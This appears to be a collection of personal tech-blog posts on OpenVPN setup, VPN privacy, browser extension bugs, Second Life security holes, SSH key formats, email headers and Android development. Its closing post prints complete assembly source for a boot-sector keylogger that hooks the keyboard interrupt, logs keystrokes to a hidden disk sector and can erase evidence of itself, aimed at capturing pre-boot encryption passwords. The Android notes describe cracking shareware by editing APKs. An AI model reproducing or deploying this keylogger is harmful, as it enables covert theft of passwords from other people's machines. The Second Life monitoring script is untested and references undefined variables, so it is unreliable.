Now, if you really wanted an appropriate solution for privacy (not anonymity), you only ever let your unencrypted traffic exit out of trusted networks. This generally means your house (and maybe your office), though even from those places their ISPs could easily “spy” on your unencrypted traffic. And technically, any router in between you and the server you are connected to can spy on your unencrypted traffic, though there is too much traffic going on for anyone in between ISPs to really even want to try this sort of thing. So it’s not a bad idea to set up a VPN server at a secure locations for yourself so you can connect in and route your traffic through the secure location when you are anywhere on the planet. For this I would recommend OpenVPN, and make sure you configure your client to route all traffic through the VPN tunnel. This approach could severely reduce your connection speed as most broadband connections have a much lower upload than download (meaning when your VPN server sends data back to you, it’s most likely slower than you would normally get it).
However, the speed issue can be solved by setting up your VPN server at a collocation (or on a cloud like Amazon’s), as these collocation ISPs route through so much traffic it would be unfeasible for them to snoop, nor often would they have as much inclination to do so. This wouldn’t give great anonymity since only a handful of people would most likely be using these VPNs, and they will generally exit from the same IP address, but it gives a great amount of privacy when on untrusted (or any) internet connection, and there are no noticeable speed decreases if at a good collocation.
The best solution is to use a paid-for VPN service. However, you would have to of course trust this service to not be spying on your unencrypted traffic, which they generally wouldn’t do. These services are good because they (should be) fast, they are secure exit points, and best of all they can be anonymous to a large degree. Since so many people are coming from the same exit points, and your exit point’s IP could change in between each connection with these VPNs, there’s no easy way to know who the traffic is coming from on a monitoring perspective outside of the VPN provider.
However, there are also downsides to using these VPN services since many providers depend and filter based on location data. For example:
If you are coming from outside of the country many services inside the USA may block you
Providers needing your location to provide a service for you would have the wrong location. For example, Google Maps wouldn’t know what area to search around when you asked for “restaurants”. You would have to specify “restaurants around my address”
Some banks and services check to make sure you are always coming in from the same IP addresses. If you aren’t, it makes you go through additional, often convoluted, security checks.
Some networks you may connect to (hotels for example) may also block VPNs, which can be a major pain. However, I can usually get through using dynamic SSH tunnels (“ssh -D” for a socks proxy) at the very least.
If I were to recommend a paid-for VPN service, it would be PirateBay’s ipredator. This service was set up to help the people of Sweden get around some bad laws passed regarding user privacy. I’m sure they have enough users so you would become one of the crowd, and The Pirate Bay has proven themselves to be trustworthy advocates of internet freedom.
1Modern browsers include the domain you are visiting in the https connection packet in plain text, via the Server Name Indication TLS extension. This means if someone is snooping on your packets, they will see the domain you are visiting via https.
For a number of years now when on insecure network connections I have been routing my computer to the Internet through secure tunnels and VPNs, but I’ve been interested in trying out different types of VPN software lately so I can more easily help secure friends who ask of it. This would mainly include ease of installation and enabling, which partly requires no extra software for them to install.
Unfortunately, Windows 7 and Android (and probably most other software) only support PPTP and L2TP/IPSEC out of the box. While these protocols are good for what they do, everything I have read says OpenVPN is superior to them as a protocol. I was very frustrated to find out how little support OpenVPN actually has today as a standard in the industry, which is to say, you have to use third party clients and it is rarely, if ever, included by default in OSes. The OpenVPN client and server aren’t exactly the easiest to set up either for novices.
So on to the real point of this post. The sample client and server configurations for OpenVPN were set up just how I needed them except they did not include two important options for me: User authentication and full client Internet forwarding/tunneling/gateway routing. Here is how to enable both.
Add the following options to the server configuration file:
push "redirect-gateway def1" #Tells the client to use the server as its default gateway
push "dhcp-option DNS 10.8.0.1" #Tells the client to use the server as its DNS Server (DNS Server's IP address dependent on configuration)
Run the following commands in bash:
iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE #This command assumes that the VPN subnet is 10.8.0.0/24 (taken from the server directive in the OpenVPN server configuration) and that the local ethernet interface is eth0.
echo '1' > /proc/sys/net/ipv4/ip_forward #Enable IP Forwarding (This one is not mentioned in the OpenVPN howto)
To set up username/password authentication on the server, an authorization script is needed that receives the username/password and returns whether the login information was successful (0) or failed (1). The steps to set up this process are as follows:
Add the following options to the server configuration file:
auth-user-pass-verify verify.phpvia-env #The third argument (method) specifies whether to send the username and password through either a temporary file (via-file) or environment variables (via-env)
script-security 3 system #Allows OpenVPN to run user scripts and executables and send password authentication information through environment variables. While "system" is deprecated, I had to use it or external commands like ifconfig and route were failing with "failed: could not execute external program"
Add the following options to the client configuration file:
auth-user-pass #Request user credentials to log in
The final step is to create the verify.php (see auth-user-pass-verify configuration above) script which returns whether it was successful, and also outputs its success to stdout, which is added to the OpenVPN log file.
#!/usr/bin/php -q
<?
//Configuration
$ValidUserFile='users.txt'; //This file must be in htpasswd SHA1 format (htpasswd -s)
$Method='via-env'; //via-file or via-env (see auth-user-pass-verify configuration above for more information)
//Get the login info
if($Method=='via-file') //via-file method
{
$LoginInfoFile=trim(file_get_contents('php://stdin')); //Get the file that contains the passed login info from stdin
$LoginInfo=file_get_contents($LoginInfoFile); //Get the passed login info
file_put_contents($LoginInfoFile, str_repeat('x', strlen($LoginInfo))); //Shred the login info file
$LoginInfo=explode("\n", $LoginInfo); //Split into [Username, Password]
$UserName=$LoginInfo[0];
$Password=$LoginInfo[1];
}
else //via-env method
{
$UserName=$_ENV['username'];
$Password=$_ENV['password'];
}
//Test the login info against the valid user file
$UserLine="$UserName:{SHA}".base64_encode(sha1($Password, TRUE)); //Compile what the user line should look like
foreach(file($ValidUserFile, FILE_IGNORE_NEW_LINES) as $Line) //Attempt to match against each line in the file
if($UserLine==$Line) //If credentials match, return success
{
print "Logged in: $UserName\n";
exit(0);
}
//Return failure
print "NOT Logged in: $UserName\n";
exit(1);
?>
I’ve recently been having problems using the Google Readerwidget in iGoogle. Normally, when I clicked on an RSS Title, a “bubble” popped up with the post’s content. However recently when clicking on the titles, the original post’s source opened up in a new tab. I confirmed the settings for the widget were correct, so I tried to remember the last change I made in Firefox that could have triggered this problem, as it seems the problem was not widespread, and only occurred to a few other people with no solution found. I realized a little bit back that I had installed the HTTPS Everywhere Firefox plugin. As described on the EFF’s site “HTTPS Everywhere is a Firefox extension ... [that] encrypts your communications with a number of major websites”.
Once I disabled the plugin and found the problem went away, I started digging through Google’s JavaScript code with FireBug. It turns out the start of the problem was that the widgets in iGoogle are run in their own IFrames (which is a very secure way of doing a widget system like this). However, the Google Reader contents was being pulled in through HTTPS secure channels (as it should thanks to HTTPS Everywhere), while the iGoogle page itself was pulled in through a normal HTTP channel! Separate windows/frames/tabs cannot interact with each other through JavaScript if they are not part of the same domain and protocol (HTTP/HTTPS) to prevent Cross-site scripting hacks.
I was wondering why HTTPS Everywhere was not running iGoogle through an HTTPS channel, so I tried it myself and found out Google automatically redirects HTTPS iGoogle requests to non secure HTTP channels! So much for having a proper security model in place...
So I did a lot more digging and modifying of Google’s code to see if I couldn’t find out exactly where the problem was occurring and if it couldn’t be fixed with a hack. It seems the code to handle the RSS Title clicking is injected during the “onload” event of the widget’s IFrame. I believe this was the code that was hitting the security privilege error to make things not work. I attempted to hijack the Google Reader widget’s onload function and add special privileges using “netscape.security.PrivilegeManager.enablePrivilege”, but it didn’t seem to help the problem. I think with some more prodding I could have gotten it working, but I didn’t want to waste any more time than I already had on the problem.
The code that would normally be loaded into the widget’s IFrame window hooks the “onclick” event of all RSS Title links to both perform the bubble action and cancel the normal “click” action. Since the normal click action for the anchor links was not being canceled, the browser action of following the link occurred. In this case, the links also had a “target” set to open a new window/tab.
There is however a “fix” for this problem, though I don’t find it ideal. If you edit the “extensions\https-everywhere@eff.org\chrome\content\rules\GoogleServices.xml” file in your Firefox profile directory (most likely at “C:\Users\USERNAME\AppData\Roaming\Mozilla\Firefox\Profiles\PROFILENAME\” if running Windows 7), you can comment out or delete the following rule so Google Reader is no longer run through secure HTTPS channels:
That being said, I’ve been having a plethora of problems with Facebook and HTTPS Everywhere too :-\ (which it actually mentions might happen in its options dialog). You’d think the largest sites on the Internet could figure out how to get their security right, but either they don’t care (the more likely option), or they don’t want the encryption overhead. Alas.
Back in May of 2007 one of my friends got me onto Second Life, the first and only MMORPG I’ve touch since my Ragnarok days. While Second Life had a strong pull for me due to its similarities to The MetaVerse in Snow Crash, my favorite book, I was of course more drawn to playing with the Engine and seeing what I could do with it.
I felt no real need to delve into the code or packet level of the client as it was open source, so I stayed mostly on the scripting level side of things in the world. IIRC I did find at least a dozen major security holes, but I unfortunately cannot seem to find logs of my research :-(.
I do however remember at least 2 of the security holes I found:
While an avatar could not pass through solid walls normally, if an object was visible that allowed “sitting” beyond the walls, the user could issue the sit command on that object which transported the avatar past the barriers.
While there were optional restrictions on areas pertaining to if/where an object could be placed, once an object was placed somewhere, it could be “pushed” to almost any other location no matter the restrictions. When an object was pushed into another area beyond where it was placed, it was still inventoried as being in the originally placed location, but could interact with the world at the location it was actually at. Objects could even pass through solid barriers if the proper push velocities were given. The only way at the time to combat this was to have whole private islands as blocking anonymous objects. This security hole opened up multiple other security holes including:
If a user “sat” on the object, they could get to anywhere the object could.
These objects could be used to interact with the immediate world around them, including repeating private conversations in a private area.
I had also at the time planned on writing an application that allowed hijacking and reuploading any encountered texture or construct, which was trivial due to the open nature of the system. I never did get around to it for two reasons. First, I got distracted by other projects, and second, because it could have seriously destabilized the Second Life economy, which was built around selling said textures and constructs. I actually liked what Second Life was trying to accomplish and had no wish of making Linden Lab’s life harder or ruining the experiment in open economy.
I was however able to find a few pieces of my research and scripts that I figured I could post here. First, I do not recall what I did to find this, but the entire list of pre-defined “Last Names” was accessible, and IIRC the proprietary last names could be used for character creation if you knew how to access them (not 100% sure if this latter hack was available). Here was the list as of when I acquired it in 2007. I had the list separated into two columns, and I think they were “open” names and “proprietary” names. Each name is followed by its identifier.
The second piece I was able to find was a script I used to alert me via email whenever one of my friends signed on. I have unfortunately not tested this script before posting it as I no longer have Second Life installed or wish to waste the time testing it, but here it is none the less. ^_^;
//Users to watch
key DetectPersons=[ //List of UIDs of users to watch. (Real UIDs redacted)
"fdf1fbff-f19f-ffff-ffff-ffffffffffff", //Person 1
"f0fffaff-f61f-ffff-ffff-ffffffffffff" //Person 2
];
//Other Global Variables
integer NumUsers;
integer UsersParsed=0;
list UserNames;
list Status;
default
{
state_entry()
{
NumUsers=llGetListLength(DetectPersons); //Number of users to watch
//Get User Names
integer i;
for(i=0;i<NumUsers;i++)
{
llListInsertList(UserNames, [''], i);
llListInsertList(Status, [0], i);
llRequestAgentData(llList2Key(DetectPersons, i), DATA_NAME);
}
}
dataserver(key requested, string data)
{
//Find User Position
integer i;
for(i=0;i<NumUsers;i++)
if(llList2Key(DetectPersons, i)==requested)
llListReplaceList(UserNames, [data], i, 1);
if(++UsersParsed==NumUsers)
state Running;
}
}
state Running
{
state_entry()
{
llOwnerSay((string)UserNames);
llOwnerSay((string)Status);
llSetTimerEvent(30);
}
timer()
{
llRequestAgentData(DetectPerson, DATA_ONLINE);
}
dataserver(key requested, string data)
{
if(data==IsOnline)
return;
IsOnline=data;
if(data=="0")
return;
string Message="The user you are watching '"+UserName+"' signed on at "+llGetTimestamp();
llEmail(EMAIL_ADDRESS, "User Signed on", Message);
llOwnerSay(Message);
}
}
Of course all this research was from 2007 and I have no idea what is capable now. I do really hope though that they at least updated the client’s interface because it was incredibly clunky. Also, Second Life has always been a neat experiment, and I hope it still is and continues to keep doing well :-).
There are two primary authentication methods for logging onto an SSH server as a user. The first is password based authentication, and the second is public key authentication. The public/private RSA key pair for public key authentication can be created using OpenSSH’s “ssh-keygen” application.
I’m not going to go into the exact method on accomplishing this because instructions can be found on countless other places on the internet. However, I was curious yesterday as to what exactly was in the public key (.pub) files created by ssh-keygen, as the data payload was larger than I expected (2232 bits for a 2048 bit key). I couldn’t find documentation on this ANYWHERE on the internet, so I downloaded the OpenSSH source code and looked at the generation code of the files. The format of the files is as follows:
The public key files are ASCII based text files with each public key taking up exactly one line.
Each line is formatted with 2 pieces of data as follows:
KEY_TYPEDATA_PAYLOAD
KEY_TYPE is the type of public key, which in our case (and most cases nowadays) is “ssh-rsa”.
DATA_PAYLOAD contains the actual public key information encoded in base64 with the following format:
When you send an email there may be multiple fields in the email header that specify the email address that it came from and how to reply back to that address. Some of these are:
From: This is the field that the user sees in their email client as the "From" address. This field is the most easily (and most often) spoofable as you can put anything you want in this field and it doesn't change how the email is received or responded to. Most systems, in my experience, don't try to protect this field either.
Envelope sender: This is used internally by email software to see who the email was really from. Different systems (i.e. spam blockers) can use this field for different purposes.
Return path: This field specifies the email address to reply to when you click the "reply" button on your email client.
There can be multiple problems if the latter 2 field are not properly set. Some of these are:
Spam blockers may be more likely to identify the email as spam
The email might be sent from the wrong IP address. Exim (which cPanel uses by default) might be configured to check /etc/mailips to determine what IP address to send from depending on the domain of the envelope sender.
The recipient might reply to the wrong email address when replying to the email.
When sending an email from PHP via the mail function through Exim you can only manually set the "From" header field (of the three) through the "additional_headers" (4th) parameter. This might be possible to remedy on some systems however.
If your server is configured to allow it (it may require privileged user permission), you can pass to the "additional_parameters" (5th) parameter of the mail function the -f Exim option, which sets the envelope sender and return path. For example:
mail('example@gmail.com', 'This is an example', 'Example!', 'From: example@yourdomain.com', '-f example@yourdomain.com');
On a related security note, if you think an email may not be legitimate, don't forget to check the email headers by viewing the original email source. Our servers include many useful headers in emails to help combat fraud including (depending on circumstances) the account the email was sent from, the IP address it was sent from, if it was sent from PHP, and if so, the script it was sent from.
A fix for this issue has been recommended and I consider it resolved. There was always a fix for this but it had not been given yet, as there was confusion to the problem in the bug report. Other people are still reporting the problem but I cannot reproduce it after the suggested fix.
[END OF EDIT]
It has come to my attention that my Mini Acuity application suffers from a “known defect” in Android, namely, that it “requires” 2 security permissions I did not ask for or use.
The “Storage” and “Phone Calls” permissions are listed in the “Application Info” in the Android settings dialog even though the market does not specify that they are used during install.
This is a result of using an old SDK version as the base of my code. Google actually encourages authors to use the minimum possible SDK version, as Android is backwards compatible, so that as many users as possible are supported. This means my only solution to not having these security permissions listed would be to upgrade the SDK version, thereby disabling compatibility from some older phones. I wish there was a way I could see the distribution of Android Versions for my application’s downloads to help determine if this would be worth it.
I have updated the Mini Acuity project page accordingly with a “Permissions” section.
On a side note, it occurs to me how much of a security hole this [possibly] is. If an application is running on these old SDK versions, and the user sees an application has only network access permission, they might not worry about the application stealing their data while it could! Though, I have not yet done the research to confirm this, or plan on doing so. I feel more and more that Android’s security system leaves a lot to be desired.
One of the main selling points for me for the Android platform was that, as I understood it, the system was supposed to be very “open” in nature. It would allow a programmer to create virtually any application imaginable that they wanted to for users, as long as the user’s security is maintained. This is, of course, the antithesis of Apple’s philosophy with the iPhone/iPod Touch. However, I find this much spouted openness to not be the case at all. Security permissions are way too tight across the board, especially regarding interfacing with the hardware, making many things next to impossible to accomplish. This is especially true when interfacing with the phone functionality. While a programmer is free to do what they want within the scope of their own application(s) and their GUIs, working with the rest of the system can be a major PITA, or even impossible.
Some of this functionality can be gained back with rooted (jail broken) phones, but it is not always easy (or completely safe) to get one’s phone to such a state. It was simple with the Android 2.0 platform, which I originally had on my Motorola Droid, but not so much with the v2.1 software. Version 2.1 is (currently) a major PITA to root, as it entails having to restore the phone to its original state first, losing everything on it (which can, of course, be restored manually). I also, at this point, do not consider it worth it putting in the time to build things for rooted-only phones as the market is much smaller, and I myself haven’t even bothered rooting my phone on the current Android version.
Anyone can also compile their own version of the Android platform as it is open source. This would be worth it, for example, if an organization wanted to distribute their own compilation with modifications internally. However, it doesn’t much help application programmers like myself that want to reach a wide audience. I am also under the impression that putting your own flavor of the Android platform on your phone would lose certain functionalities/things included by the image provided by the provider of the phone (usually cell phone network carriers).
I really like how they did one section of the security system, which is, allowing an application to request special permissions from the operating system. A user is informed of the requested permissions before they install an application from the market place. The main problem is, though, that so many permissions are unavailable that should be possible. Another major downside is that way too many applications request permissions that they shouldn’t be requesting. This leaves users high and dry with applications they consider critical only available if they accept things they don’t want to. For example, many programs request full internet access with no need for it. It would be great to be able to selectively turn off these permissions, but I doubt the option for this is going to happen. I’m going to do more research myself on if an application can be written to do this, but I am not going to get even the slightest hope up on this possibility.
There are at least 3 applications ATM I wanted to create but could not due to permissions:
Call recording: I have written on this previously, but this functionality is unavailable, and Google is not commenting as to why. There are also countless other applications that could use the ability to access a call’s audio. This functionality was available on some older versions of the Android platform (and there are applications out there that take advantage of this), but it seems unavailable on newer versions for 1 of 3 reasons:
Legal reasons: It’s illegal to record calls in some areas (which would be dumb to revoke accessing call audio because of this because it’s legal in so many other places, including where I live in Texas).
Technological reasons: Some phone manufacturers might have it so the audio never even makes it to the operating system (it’s kept on the phone’s radio stack).
Google reasons: They decided it was a feature they no longer wanted to support. The fact of the matter is the interface is provided by the platform to do this, but bugs have been introduced into it and it no longer seems to work.
Automated call menu: I would love to make an application that created an automated call menu on the phone, which could include leaving messages. I would personally use this so I could keep my phone on when sleeping, allowing the phone to direct the caller to either my [local or remote] voice mail or to wake me up if it’s an emergency. This is not possible due to the inability to access a call’s audio, as is explained in the above unimplementable application, but I am betting that there would be many more permissions that would make this not possible.
Global Key interception: I have somewhat solved this problem, as I will be explaining in a post most likely coming tomorrow.
Yet another platform/library to learn. It never ends.
Having recently finished my first Android project (and hopefully not last), I decided to supply some notes I took about the process.
While I am going to try and keep impressions to a minimum on the rest of this post, and keep it to tangible notes, I must first comment that trying to find out things for the Android platform was often like pulling teeth. While its typical Java reference online documentation is all there with all the classes and cross-linking, that is about all it is, very dry and virtually useless beyond a base reference. The comments on variable parameters (and many other sections) in the reference are often coarse and not descriptive at all, for example, one parameter named mask has the basic description as “this is a mask”. Some functions don’t even have descriptions at all.
Perhaps I am getting too complacent as a programmer and getting used to excellent documentation like for Python or GTK (I’ve even grown to love Microsoft documentation after having used it for long enough!). After all, most required information is just a Google away, and being a programmer is often just about finding the proper magical incantations to hook into a certain library. Unfortunately, however, even web searches were often yielding less than fruitful results when dealing with Android, as the platform is relatively new.
Some useful tasks and some problems:
Using the virtual (soft) keyboard without a TextView:
Note: “getWindow().getDecorView()” can also be replaced by a View on your screen
Getting the keyboard input: Add the following function to the Activity that opened the keyboard:
@Override public boolean onKeyDown(int keyCode, KeyEvent msg)
Note: This will not work if you’re not using default keyboard input (like if it’s set to enter Japanese or Chinese characters).
Determining the physical dimensions of the screen:
This should be a trivial task using the DisplayMetrics (getWindowManager().getDefaultDisplay()) interface to get dpis and multiply by the screen dimensions getWindowManager().getDefaultDisplay().getWidth() (and .getHeight). However, it doesn’t always work as it should.
The best method to get the DPI would be to use “DisplayMetrics.xdpi” and “DisplayMetrics.ydpi”, but unfortunately, these are misreported by at least the Motorola Droid. I’ve found “DisplayMetrics.density”*160 to be pretty accurate, but if true accuracy is needed, a calibration screen might be required.
Inform user of touch events: Many Android widgets (Views) change their visual state (highlight) when the user presses down on them to let the user know something is going to happen if the user lifts their finger while still on the widget. Unfortunately, there seems to be no text widget or layout view that does this automatic highlighting by itself (ListViews do in groups). The following is some example code to produce this effect.
import android.view.View.OnTouchListener;
public class CLASSNAME extends Activity
{
@Override public void onCreate(Bundle savedInstanceState)
{
View HighlightView=findViewById(R.id.THE_VIEWS_ID);
HighlightView.setOnTouchListener(HighlightState);
}
private OnTouchListener HighlightState = new OnTouchListener() { public boolean onTouch(View v, MotionEvent event)
{
if(event.getAction()==MotionEvent.ACTION_DOWN)
v.setBackgroundColor(0xFF0000FF); //Set background color to blue
else if(event.getAction()==MotionEvent.ACTION_CANCEL || event.getAction()==MotionEvent.ACTION_UP)
v.setBackgroundResource(0); //No background color
return false;
} };
}
Retrieving the names and IDs of all resources in a resource group:
Setting a color matrix on an image: If you have 2 ImageViews that display the same resource image, and either has a color matrix set on it, the will both share one of the color matrices. If this occurs, copy the image the resource, or use a separate image resource. For kicks, here is an example of setting an inverse color matrix on an image.
requestWindowFeature(Window.FEATURE_NO_TITLE); //This must be called before "setContentView", and hides the title bar
getWindow().setFlags(FULLSCREEN ? WindowManager.LayoutParams.FLAG_FULLSCREEN : 0, WindowManager.LayoutParams.FLAG_FULLSCREEN); //Turns on/off the status bar
Starting another local activity: Instead of using Intent(String action) for Context.StartActivity, as the Reference explains, it is much easier to use Intent(Context packageContext, Class<?> cls) like the following: (called from inside an Activity)
Creating a timed event that updates the UI: A function running through java.util.Timer cannot interact with the GUI. One solution to make a timer is with the android.os.Handler interface.
import android.os.Handler;
public class ExampleActivity extends Activity
{
final int InitialDelay, RepeatDelay;
Handler TimedHandler=new Handler();
public void ExampleFunction()
{
TimedHandler.postDelayed(new Runnable() { public void run() {
//Do GUI stuff...
TimedHandler.postDelayed(this, RepeatDelay);
} }, InitialDelay);
}
}
Another solution is to post to a Handler from the Timer function.
When dealing with putting on the market place:
Getting an account to put applications on the Android Market cost $25.
Screenshots shown on the Android Market description page are somewhat buggy, and seemingly randomly either stretch properly or crop. Viewing the full sized screenshots does seem to work properly.
Seeing as there are a number of applications on the market that have both a “Free” and “Full” version, you’d think this would be an easy thing to accomplish. Unfortunately, the marketplace uses an application’s package name as its unique identifier, so both versions have to have a different package name, which is again, a bit of a nuisance.
One method of remedying this is just having a recursive string replace through all the files to change the package names. However, if using eclipse, so you don’t have to reopen it, it’s quicker to update the string first in the manifest, and then renaming the package under the “src” folder by pressing F2 (rename) on it when it is selected.
Also, unfortunately, if you do this, when a person upgrades from the lite to the full version, preferences are not automatically transferred :-\.
The publisher’s market place page is very sparse and leaves a lot to be desired. It also seems to update only once every 24 hours or so (not sure of exact times).
If an application is put up, it WILL get downloads immediately. For example, I put up an application with a description of “This is a test, do not download this” for doing security tests that I took down within like 10 minutes. It already had 2 comments/ratings on it within that time ~.~; .
Google Checkout: Fees. When a copy of your application is purchased, the user has 24 hours to return it. The money is not deposited into your bank account until after this time (when it’s not a weekend). If you want to give your application to someone for free, they need to purchase it through the market, and then you can cancel the purchase transaction before the 24 hours are up. Unfortunately, this has to be done every time they want to update the application. It also seems you cannot buy your own applications, as the purchase server throws an error.
Application Protection:
You can download any Android application by default from your phone to your computer, modify them, and reinstall them back to any phone. An example use for this would be to crack a shareware application where just a single byte probably needs to be changed to make it a full version.
The applications themselves are in an .apk file (which is just a .zip file), and the source code (classes) are encoded as a “Dalvik Executable” file within it (classes.dex), which as I understand it, is optimized Javabytecode. So, AFAIK right now, there is no way to decompile the .dex file back to the original source, like you can with normal Java. However, the Android emulator, part of the Android SDK, includes a tool called dexdump, which allows you to decompile it to bytecode.
The marketplace also has an option to turn on Copy Protection. When this is turned on for an application, the user cannot backup or access the applications package file. I would assume however with a rooted phone you could still grab it from “/data/app-private”, and the rest of the process should be the same. I have not tested this as rooting Android 2.1 is much more of a pain in the butt, ATM, than I want to deal with.
Unfortunately, the key logger stops working once XP boots, and I’m not completely sure why yet. [reason]I think it has to do something with Windows using an Interrupt Descriptor Table instead of the Interrupt Vector Table, or overwriting the Interrupt Vector Table entry without calling the previous value. I may try and get it working for Windows (or any operating system) later, but I accomplished what I wanted to with this, so am not going to worry about it for now.
This is also just a proof of concept, so it isn’t full proof. It only records the first 512 keystrokes before Windows loads, and it also might not be easy to install without some knowledge of how it works.
I am providing an example installer in Perl which writes to a VMWare hard drive. It can easily be modify though to install to a real hard drive using either a boot loader, or when running Windows through CreateFile with the hard drive (requires administrative privileges).
Installing works as follows:
Copies the original boot loader sector (#0 of a hard drive) to an unused sector (In this case, #61 of the hard drive, which is the last unused sector by Truecrypt [Sector 62 contains the encryption key, and sector 63 is the first partition table] ).
Installs the compiled code to the boot loader sector.
When the computer boots to the medium (hard drive, flash drive, CD, etc) with the installed code, it immediately runs the key logger installer.
It first copies itself from the boot loader location in memory (0x7C00) to a new location, and the original boot loader is loaded into the boot memory location to be run later, unaware that it wasn’t the first thing to load.
If requested (this is an option set by a variable), the key logger installer removes itself from the hard drive, erasing evidence of it ever being there. This means the key logger will only run from memory after the first time the machine is booted. This is not turned on by default.
It then installs a BIOS interrupthook on the keyboard interrupt (0x9) to call the key logger.
The final step is to execute the original boot loader which is now at the boot loader location in memory.
The key logger works as follows:
When a key is pressed, the key logger code is called.
It first calls the original interrupt 0x9 keyboard handling code.
It then gets the last pressed key(s) from the bios keyboard buffer and saves them to the key logger save buffer (either as their ASCII character, or as their key code).
The save buffer is then written to a predefined location on the hard drive before the interrupt is returned as completed.
Currently, the key logger only records up to 512 keystrokes to a single hard drive sector.
The assembly code for the key logger is as follows:
;Copyright 2009 by Dakusan (http://www.castledragmire.com/Copyright)
;This is a boot loader keylogger (does not work once Windows XP loads)
;See http://www.castledragmire.com/Posts/BIOS_Level_Key_Logger for more information
ORG 0x7C00 ;Origin location
;Constants
Start: ;Where the program starts (0x7C00)
SectorSize equ 0x200 ;Size of a sector (and the boot loader)
;User defined constants
;Memory mappings
NewStart equ Start+SectorSize ;Where the boot loader will be copied to in memory for execution
WhereToRecord equ Start+SectorSize*2 ;Where to record key strokes in memory (the save buffer)
;Hard drive mappings
WriteSector equ 60 ;The hard drive sector to write the last logged 512 keys too. Needs to be <63. This can be the same as "OriginalBootLoaderSector" if "EraseEvidence" is true
OriginalBootLoaderSector equ 61 ;The hard drive sector the original boot loader is written to
EraseEvidence equ 0 ;Boolean dictating whether to restore the original boot loader and clear out where it was copied
;More constants
CodeOffset equ NewStart-Start ;The code is actually offset this amount when copied to the new memory location
;Set up needed segment registers to point to 0
xor ax,ax
mov ds,ax
mov es,ax
;Copy this loaded boot loader to new location in memory and execute there
mov cx,SectorSize
mov si,Start
mov di,NewStart
rep movsb
db 0xe9 ;Jump to...
dw CodeOffset ;...Location where code is moved to
;Copy the original boot loader from the hard drive back to the boot address in memory
mov ah,2 ;Read instruction
mov dl,0x80 ;Drive #0 (0x80-x)
mov al,1 ;1 sector
xor dh,dh ;Head #0
xor ch,ch ;Track #0
mov cl,OriginalBootLoaderSector+1 ;Sector to read from
mov bx,Start ;Memory location to write to
int 0x13 ;BIOS drive function
;Zero out the save buffer
mov cx,SectorSize
mov di,WhereToRecord
xor al,al
rep stosb
;Erase this boot loader if requested by returning the hard drive's boot loader to its original state and clearing out its copy at OriginalBootLoaderSector
or al,EraseEvidence ;Check to see if user wants to erase the evidence (al=0 before this operation)
jz SkipEraseEvidence ;If false, do not do so
mov bx,Start ;The buffer to write (which is now the original boot loader)
mov cl,0+1 ;Write to the first sector
call WriteToDrive ;Do the write to restore the original boot loader
mov bx,WhereToRecord ;The save buffer, which is zeroed out
mov cl,OriginalBootLoaderSector+1 ;Write to where the original boot loader was stored
call WriteToDrive ;Do the write to erase the backup of the original boot loader
SkipEraseEvidence:
;Hook the keyboard interrupt
cli ;Disable interrupts
mov eax, [es:0x9*4] ;Grab the origial handler. Source=IDT::INT9. From Wikipedia: The IDT [Interrupt descriptor (Vector) table] "resides at a fixed location in memory from address 0x0000 to 0x03ff, and consists of 256 four-byte real mode pointers"
mov [es:OriginalInt9Handler+CodeOffset], eax ;And save it for later use
mov dword [es:0x9*4], Int9Hook+CodeOffset ;Install INT 9 filter
sti ;Enable interrupts
;An infinite test loop that will output typed characters to the screen, and never go to the original boot loader
;GetKeys:
;mov ah,0
;int 0x16
;mov ah,0xe ;Write ascii character to screen
;int 0x10
;cmp al,0xA
;jne GetKeys
;Execute the original boot loader
db 0xe9 ;Jump to...
dw -CodeOffset-($-Start)-2 ;...Original start, which now contains the original boot loader
;Keyboard hook
Int9Hook:
pushf ;Since the original int handler will call iret, we need to push an extra layer of interrupt info on the stack
DB 9Ah ;CALL FAR PROC SEGMENT:OFFSET
OriginalInt9Handler dd 0 ;The original Interrupt 9 handler (in segment:offset format [ror 16])
;Save registers and zero out es
pusha
xor bx,bx
mov es,bx
;Get the character we are currently on in the save buffer, and if >512, do not record
mov di,[es:CharacterOn+CodeOffset] ;di=The character we are currently on
cmp di,512
jge SkipInt9
;Loop through the keyboard buffer
mov esi,[es:0x41A] ;40:1A=Offset from 40:00 to keyboard buffer head, 40:1C=Offset from 40:00 to keyboard buffer tail
add esi,0x04000400 ;Beginning and end +=0x400, si=keyboard buffer head
mov ecx,esi
shr ecx,16 ;cx=keyboard buffer tail
mov bx,0x41E ;bx=The beginning of the keyboard buffer
cmp si,cx ;Check if there are no characters to write (head==tail)
je SkipInt9 ;If there are no keys to write, jump to end
WriteKey: ;Save a single keyboard character to our save buffer.
;Save the character
mov al,[es:si] ;Fetch the character, use es:si+1 to save the scancode instead
mov [es:di+WhereToRecord],al ;Save the character
;Update where we are in the save buffer and make sure we are not at the end (>512)
inc di ;Update where we are in the buffer
cmp di,512
jge FinishedKeyboardBuffer
;Move to the next character in the keyboard buffer and if we are not at the end, write the next character
add si,2 ;Move to the next character in the keyboard buffer
cmp si,0x43E ;If we have exceeded the keyboad buffer length...
cmovge si,bx ;...loop back to the beginning
cmp si,cx ;If there are still more characters to write (head<tail)
jl WriteKey ;Write the next character
FinishedKeyboardBuffer:
mov [es:CharacterOn+CodeOffset],di ;Update where we are in the save buffer
;Write the updated keylogger to the harddrive
mov cl,WriteSector+1 ;Sector to write to
mov bx,WhereToRecord
call WriteToDrive
;Clean up from the interrupt
SkipInt9:
popa
iret
;Write to drive function. Parameters: es:bx=Buffer, cl:Sector to write
WriteToDrive:
mov ah,3 ;Write instruction
mov dl,0x80 ;Drive #0 (0x80-x)
mov al,1 ;1 sector
xor dh,dh ;Head #0
xor ch,ch ;Track #0
int 0x13 ;BIOS drive function
ret ;Return from function
;Variables
CharacterOn dw 0 ;What character we are on in the character buffer
;Fill out up to 0x1BE, where the partition information starts, with 0s. This cleans up unused information
times 0x1BE-($-$$) db 0 ;Fill the rest with zeros
I have been a proponent and user of pre-boot authentication volume (hard drive) encryption for quite a while now, but there is one security hole in it that always bugged me. This is the fact that the boot loader (the code at the beginning [sector 0] of the hard drive that starts the computer [usually loads the operating system]) is unencrypted itself and can be tampered with. Even though the encrypted data is completely safe from reading without a password, the password itself could be hijacked from someone modifying the boot loader and having it record your password when you type it. This hack could also be made hard to detect because the original boot loader could be restored from the hijacked one after the damage is done.
